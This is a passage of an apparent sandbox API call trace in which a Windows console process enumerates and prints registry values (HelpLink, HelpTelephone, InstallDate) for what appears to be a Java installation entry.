dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.377] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.377] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.384] GetProcessHeap () returned 0x3c0000 [0149.384] GetProcessHeap () returned 0x3c0000 [0149.384] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.384] GetProcessHeap () returned 0x3c0000 [0149.384] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x14 [0149.384] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.384] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.384] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2a) returned 0x0 [0149.384] GetProcessHeap () returned 0x3c0000 [0149.384] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2c) returned 0x3d78d0 [0149.384] GetProcessHeap () returned 0x3c0000 [0149.384] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.384] GetProcessHeap () returned 0x3c0000 [0149.384] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2c [0149.384] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2a | out: pdwType=0x29f700*=0x2, pvData="http://java.com/help", pcbData=0x29f780*=0x2a) returned 0x0 [0149.384] __iob_func () returned 0x7fefd702a80 [0149.384] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.385] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.385] _fileno (_File=0x7fefd702ab0) returned 1 [0149.385] _errno () returned 0x204bb0 [0149.385] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.385] _errno () returned 0x204bb0 [0149.385] GetFileType (hFile=0x50) returned 0x1 [0149.385] lstrlenW (lpString=" ") returned 4 [0149.385] GetConsoleOutputCP () returned 0x1b5 [0149.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.385] GetConsoleOutputCP () returned 0x1b5 [0149.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.385] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.385] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.385] lstrlenW (lpString="HelpLink") returned 8 [0149.385] __iob_func () returned 0x7fefd702a80 [0149.385] _fileno (_File=0x7fefd702ab0) returned 1 [0149.385] _errno () returned 0x204bb0 [0149.385] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.385] _errno () returned 0x204bb0 [0149.385] GetFileType (hFile=0x50) returned 0x1 [0149.385] lstrlenW (lpString="HelpLink") returned 8 [0149.385] GetConsoleOutputCP () returned 0x1b5 [0149.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.386] GetConsoleOutputCP () returned 0x1b5 [0149.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0149.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.386] __iob_func () returned 0x7fefd702a80 [0149.386] _fileno (_File=0x7fefd702ab0) returned 1 [0149.386] _errno () returned 0x204bb0 [0149.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.386] _errno () returned 0x204bb0 [0149.386] GetFileType (hFile=0x50) returned 0x1 [0149.386] lstrlenW (lpString=" ") returned 4 [0149.386] GetConsoleOutputCP () returned 0x1b5 [0149.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.386] GetConsoleOutputCP () returned 0x1b5 [0149.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.386] __iob_func () returned 0x7fefd702a80 [0149.386] _fileno (_File=0x7fefd702ab0) returned 1 [0149.386] _errno () returned 0x204bb0 [0149.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.386] _errno () returned 0x204bb0 [0149.386] GetFileType (hFile=0x50) returned 0x1 [0149.386] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.387] GetConsoleOutputCP () returned 0x1b5 [0149.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.387] GetConsoleOutputCP () returned 0x1b5 [0149.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.387] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.387] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.387] __iob_func () returned 0x7fefd702a80 [0149.387] _fileno (_File=0x7fefd702ab0) returned 1 [0149.387] _errno () returned 0x204bb0 [0149.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.387] _errno () returned 0x204bb0 [0149.387] GetFileType (hFile=0x50) returned 0x1 [0149.387] lstrlenW (lpString=" ") returned 4 [0149.387] GetConsoleOutputCP () returned 0x1b5 [0149.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.387] GetConsoleOutputCP () returned 0x1b5 [0149.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.388] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.388] __iob_func () returned 0x7fefd702a80 [0149.388] _fileno (_File=0x7fefd702ab0) returned 1 [0149.388] _errno () returned 0x204bb0 [0149.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.388] _errno () returned 0x204bb0 [0149.388] GetFileType (hFile=0x50) returned 0x1 [0149.388] lstrlenW (lpString="http://java.com/help") returned 20 [0149.388] GetConsoleOutputCP () returned 0x1b5 [0149.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com/help", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0149.388] GetConsoleOutputCP () returned 0x1b5 [0149.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com/help", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://java.com/help", lpUsedDefaultChar=0x0) returned 20 [0149.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0149.388] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.388] __iob_func () returned 0x7fefd702a80 [0149.388] _fileno (_File=0x7fefd702ab0) returned 1 [0149.388] _errno () returned 0x204bb0 [0149.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.388] _errno () returned 0x204bb0 [0149.388] GetFileType (hFile=0x50) returned 0x1 [0149.388] lstrlenW (lpString="\n") returned 1 [0149.388] GetConsoleOutputCP () returned 0x1b5 [0149.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.389] GetConsoleOutputCP () returned 0x1b5 [0149.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.389] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.389] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.389] GetProcessHeap () returned 0x3c0000 [0149.389] GetProcessHeap () returned 0x3c0000 [0149.389] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.389] GetProcessHeap () returned 0x3c0000 [0149.389] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2c [0149.389] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.389] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.389] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.389] GetProcessHeap () returned 0x3c0000 [0149.389] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.389] GetProcessHeap () returned 0x3c0000 [0149.389] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.389] GetProcessHeap () returned 0x3c0000 [0149.389] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.389] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.389] __iob_func () returned 0x7fefd702a80 [0149.389] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.389] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.389] _fileno (_File=0x7fefd702ab0) returned 1 [0149.389] _errno () returned 0x204bb0 [0149.389] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.389] _errno () returned 0x204bb0 [0149.389] GetFileType (hFile=0x50) returned 0x1 [0149.390] lstrlenW (lpString=" ") returned 4 [0149.390] GetConsoleOutputCP () returned 0x1b5 [0149.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.390] GetConsoleOutputCP () returned 0x1b5 [0149.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.390] lstrlenW (lpString="HelpTelephone") returned 13 [0149.390] __iob_func () returned 0x7fefd702a80 [0149.390] _fileno (_File=0x7fefd702ab0) returned 1 [0149.390] _errno () returned 0x204bb0 [0149.390] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.390] _errno () returned 0x204bb0 [0149.390] GetFileType (hFile=0x50) returned 0x1 [0149.390] lstrlenW (lpString="HelpTelephone") returned 13 [0149.390] GetConsoleOutputCP () returned 0x1b5 [0149.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.390] GetConsoleOutputCP () returned 0x1b5 [0149.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0149.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.391] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.391] __iob_func () returned 0x7fefd702a80 [0149.391] _fileno (_File=0x7fefd702ab0) returned 1 [0149.391] _errno () returned 0x204bb0 [0149.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.391] _errno () returned 0x204bb0 [0149.391] GetFileType (hFile=0x50) returned 0x1 [0149.391] lstrlenW (lpString=" ") returned 4 [0149.391] GetConsoleOutputCP () returned 0x1b5 [0149.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.391] GetConsoleOutputCP () returned 0x1b5 [0149.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.391] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.391] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.391] __iob_func () returned 0x7fefd702a80 [0149.391] _fileno (_File=0x7fefd702ab0) returned 1 [0149.391] _errno () returned 0x204bb0 [0149.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.391] _errno () returned 0x204bb0 [0149.391] GetFileType (hFile=0x50) returned 0x1 [0149.391] lstrlenW (lpString="REG_SZ") returned 6 [0149.391] GetConsoleOutputCP () returned 0x1b5 [0149.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.392] GetConsoleOutputCP () returned 0x1b5 [0149.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.392] __iob_func () returned 0x7fefd702a80 [0149.392] _fileno (_File=0x7fefd702ab0) returned 1 [0149.392] _errno () returned 0x204bb0 [0149.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.392] _errno () returned 0x204bb0 [0149.392] GetFileType (hFile=0x50) returned 0x1 [0149.392] lstrlenW (lpString=" ") returned 4 [0149.392] GetConsoleOutputCP () returned 0x1b5 [0149.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.392] GetConsoleOutputCP () returned 0x1b5 [0149.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.392] __iob_func () returned 0x7fefd702a80 [0149.392] _fileno (_File=0x7fefd702ab0) returned 1 [0149.392] _errno () returned 0x204bb0 [0149.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.392] _errno () returned 0x204bb0 [0149.392] GetFileType (hFile=0x50) returned 0x1 [0149.392] lstrlenW (lpString="") returned 0 [0149.392] __iob_func () returned 0x7fefd702a80 [0149.392] _fileno (_File=0x7fefd702ab0) returned 1 [0149.393] _errno () returned 0x204bb0 [0149.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.393] _errno () returned 0x204bb0 [0149.393] GetFileType (hFile=0x50) returned 0x1 [0149.393] lstrlenW (lpString="\n") returned 1 [0149.393] GetConsoleOutputCP () returned 0x1b5 [0149.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.393] GetConsoleOutputCP () returned 0x1b5 [0149.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.393] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.393] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.393] GetProcessHeap () returned 0x3c0000 [0149.393] GetProcessHeap () returned 0x3c0000 [0149.393] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.393] GetProcessHeap () returned 0x3c0000 [0149.393] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.393] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.393] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.393] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.393] GetProcessHeap () returned 0x3c0000 [0149.393] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0149.393] GetProcessHeap () returned 0x3c0000 [0149.393] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.393] GetProcessHeap () returned 0x3c0000 [0149.393] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.393] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0149.393] __iob_func () returned 0x7fefd702a80 [0149.393] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.394] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.394] _fileno (_File=0x7fefd702ab0) returned 1 [0149.394] _errno () returned 0x204bb0 [0149.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.394] _errno () returned 0x204bb0 [0149.394] GetFileType (hFile=0x50) returned 0x1 [0149.394] lstrlenW (lpString=" ") returned 4 [0149.394] GetConsoleOutputCP () returned 0x1b5 [0149.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.394] GetConsoleOutputCP () returned 0x1b5 [0149.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.394] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.394] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.394] lstrlenW (lpString="InstallDate") returned 11 [0149.394] __iob_func () returned 0x7fefd702a80 [0149.394] _fileno (_File=0x7fefd702ab0) returned 1 [0149.394] _errno () returned 0x204bb0 [0149.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.394] _errno () returned 0x204bb0 [0149.394] GetFileType (hFile=0x50) returned 0x1 [0149.394] lstrlenW (lpString="InstallDate") returned 11 [0149.394] GetConsoleOutputCP () returned 0x1b5 [0149.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.394] GetConsoleOutputCP () returned 0x1b5 [0149.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0149.395] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.395] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.395] __iob_func () returned 0x7fefd702a80 [0149.395] _fileno (_File=0x7fefd702ab0) returned 1 [0149.395] _errno () returned 0x204bb0 [0149.395] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.395] _errno () returned 0x204bb0 [0149.395] GetFileType (hFile=0x50) returned 0x1 [0149.395] lstrlenW (lpString=" ") returned 4 [0149.395] GetConsoleOutputCP () returned 0x1b5 [0149.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.395] GetConsoleOutputCP () returned 0x1b5 [0149.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.395] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.395] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.395] __iob_func () returned 0x7fefd702a80 [0149.395] _fileno (_File=0x7fefd702ab0) returned 1 [0149.395] _errno () returned 0x204bb0 [0149.395] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.395] _errno () returned 0x204bb0 [0149.395] GetFileType (hFile=0x50) returned 0x1 [0149.395] lstrlenW (lpString="REG_SZ") returned 6 [0149.395] GetConsoleOutputCP () returned 0x1b5 [0149.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.396] GetConsoleOutputCP () returned 0x1b5 [0149.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.396] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.396] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.396] __iob_func () returned 0x7fefd702a80 [0149.396] _fileno (_File=0x7fefd702ab0) returned 1 [0149.396] _errno () returned 0x204bb0 [0149.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.396] _errno () returned 0x204bb0 [0149.396] GetFileType (hFile=0x50) returned 0x1 [0149.396] lstrlenW (lpString=" ") returned 4 [0149.396] GetConsoleOutputCP () returned 0x1b5 [0149.396] 